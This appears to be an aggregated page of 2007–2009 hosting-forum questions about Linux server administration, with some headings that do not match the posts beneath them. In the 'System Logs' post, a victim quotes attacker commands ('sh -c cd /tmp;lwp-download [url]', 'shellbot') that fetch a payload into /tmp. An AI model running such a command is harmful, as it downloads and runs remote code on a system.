Cleaning Up Packages - CentOS
Mar 10, 2007When I run yum update as normal it always says something like
Added xx packages, deleted 0 old in x seconds.
I was wondering where ARE these old packages stored? It seems like every time I run yum update it uses a tiny bit of my disk space whenever it downloads all the packages, seems natural though. But for all I know I probably have update package downloads from when the OS was first installed...
My question is, if they are anywhere, how do I just clean out ALL old packages from yum update that I don't need anymore? Are there old packages sitting in there because it says "deleted 0 old" all the time? Just curious because it all adds up when I think about it.
And oh one more question, when I update the kernel - I noticed it keeps packing kernel files in /boot/. How can I tell which of these I don't need anymore? It seems to be getting quite full.
Cleaning Up PhpBB Forum
Sep 22, 2007I am in the process of cleaning one old unused phpBB technical forum. As of now the forum is full of spam posting and junk users. I did upgrade it to the latest version, applied a few security tools to prevent spam users from registering. It seems they aren't that much effective. I still get around 50 new spam posting a day.
Do you have any suggestions/tools to help me in getting up the database cleaned. Do you prefer migrating to another forum software. If yes can you recommend some tool for that?
Plesk 12.x / Linux :: Cleaning Root Partition

Jul 23, 2008I have a few different types of servers, all of which came with their own KVMoIP setup, aka DRAC and iLO which have worked only so so since their deployment. The HP iLO has performed absolutely flawlessly but the DRAC on the other hand has been nothing less than a complete nightmare.
I'm looking for a KVM over IP system that we can connect to multiple servers, mainly Dell, that is 100% reliable and completely stable. Not something that will be giving Java errors randomly when you actually need it to work.
So far I've came across the Raritan Dominion KX II which looks pretty promising. Is there any other KVM over IP systems or manufactures that I should look into? Has anyone used this and can you comment about its reliability?
Slow System
Aug 11, 2008Recently, my server has been running real slow and I don't know why... I've not noticed any increase in traffic (In fact it goes slow with no traffic on it...), what are some things I can look at to try and diagnose the problem? I know next to nothing about *nix so please speak in great detail.
Anytime I restart Apache, it loads quick for a few seconds then gets slow again...
Here are the top few processes listed on the process manager: .....
Allocate System Ram
Jul 22, 2008I have a VPS acct with Plesk, am peaking out my system ram at 128mb. Host said to allocate ,ore = purchase more. What I would like to do is hunt down where I am using the most of it. I have 8 sites (non that are too big). Most of them are wordpress sites.
Would caching help? Not sure where to look to find this out.

System Logs
Jul 26, 2007I keep receiving hacking attempts from someone accessing my server and running commands like these:
Code:
hubberfix
sh -c cd /tmp;lwp-download [url]
shellbot
I cannot find any logs with these attempts. Or at least any with info like an IP address or host doing this.
Not to sound like a noob, but where can I find logs that would tell me all the commands run on my system? FYI, I'm running Debian Sarge, and I looked in "/var/log" and I can't find much of anything.
Which Operating System
Feb 18, 2007There's bloody heaps of them. Which one do I go for on my two new file servers? Which operating system out of these is the most common, has the most support, is most compatible? The server will be used to host videos and will run c-panel. A light weight OS is probably preferred but I really have no idea. And incase it helps, the servers have 512mb of ram, about 30 - 40GB of hDD (not actually sure) and an old AMD Duron.

Whole System Backup
Aug 26, 2007I just spent over 10 hours on my node configuration (debian etch). I have installed a lot of stuff, made raid1 array, control panel, some tools, rules etc etc etc.
I dont want to see that some day something crash - and I will must start over with everything.
What you guys suggest as backup method, maybe some how-to backup WHOLE system with all files, raid configuration etc.
I dont need incremental backups at all - I just want to save/backup current system, and maybe restore if something bad would happen.

Ticket System And WHM And Cpanel
Jul 14, 2009I have VPS having whm/cpanel base, i also install RT ticket system, it install successfully, same way i did on 5 other server its ok, but on VPS due to apache different configuration it gives me.
You haven't yet configured your webserver to run RT. You appear to have installed RT's web interface correctly, but haven't yet configured your web server to "run" the RT server which powers the web interface. The next step is to edit your webserver's configuration file to instruct it to use RT's mod_perl, FastCGI or SpeedyCGI handler.

Feb 24, 2009I wondered which Content Management System (CMS) is the best for a website? I read that there are many to choose from, examples are Wordpress, Drupal, Joomla etc. Which CMS is more SEO Optimised?
Th website I will be setting up will be of the same genre as the following website startutor.sg. Therefore, I am wondering what CMS to use.
I thought of designing the website using AI or PSD and asked someone to code them (not sure of the terminology used) for me as I don't know anything about CSS, HTML etc.
System Clock Off Continuously
May 12, 2009One of our server's system clock seems to gradually creep away from the correct time. It has been causing us a lot of issues. After one day it becomes more than one hour off. After each minute it becomes a few seconds off.
Any ideas what could be causing this? It's uptime is ~2 months so it doesn't happen when it goes offline, it happens while it is running.
Right now we have a cronjob running ntpdate every few minutes as even with the ntpd service running it would end up off by several minutes when we would check. I have a feeling this isn't a very reliable fix though.
Read-only System 3rd Time
Jun 11, 2009I have brand new server with CentOS 5.3 and latest CentOS kernel (2.6.18-128.1.10.el5PAE).
I have brand new HDDs with no errors (HDDs have only 1000 power-on-hours, server CPU temperature is normal - between 35-42 C). My server went read-only without any reason. I need to fsck main / partition (/home is separated) and it cleaned journal, then server became online.
After 2 weeks it happens again - I did again fsck on / partition and it recovered journal as before. I decided to ask Data Center to replace RAID-1 card and memory - they did it. After 3 weeks server went read-only again.
I ssh into server and saw that kswapd0 process is using 100% cpu and load is over 170.
After fsck it recovered journal on / and server is again available.

Mar 29, 2009I had a linux server (CentOs 5, mysql5, php5, directadmin). I had problems with apache few days ago, that's why i hire sys. admin who tweak the system (install the PAE kernel), and some more configurations, and during last 7-8 days server work w/o any downtime (before this server had 1-2 downtimes per day-> OOM killer.)
Now i had only ssh access (emails, directadmin access - give "wrong password" answer). As told my sys.admin It became read only system.

Nov 1, 2008I have a VPS with 512mb guaranteed memory.
From VZPP, my Resource Capacity(System Usage)is using >50% even when I don't have any active sites at all!
Support staff trying to convince me is normal as apache, cpanel etc are using resources.
Yes, I agreed they use up resources. But at >50%?
What will happen if I just have an active site, wouldn't it hit 100% and I have to upgrade immediately for more resources?
I think is more of nodes or some setup issues then "is normal".
What is normal "system usage" for new VPS with no website on it.
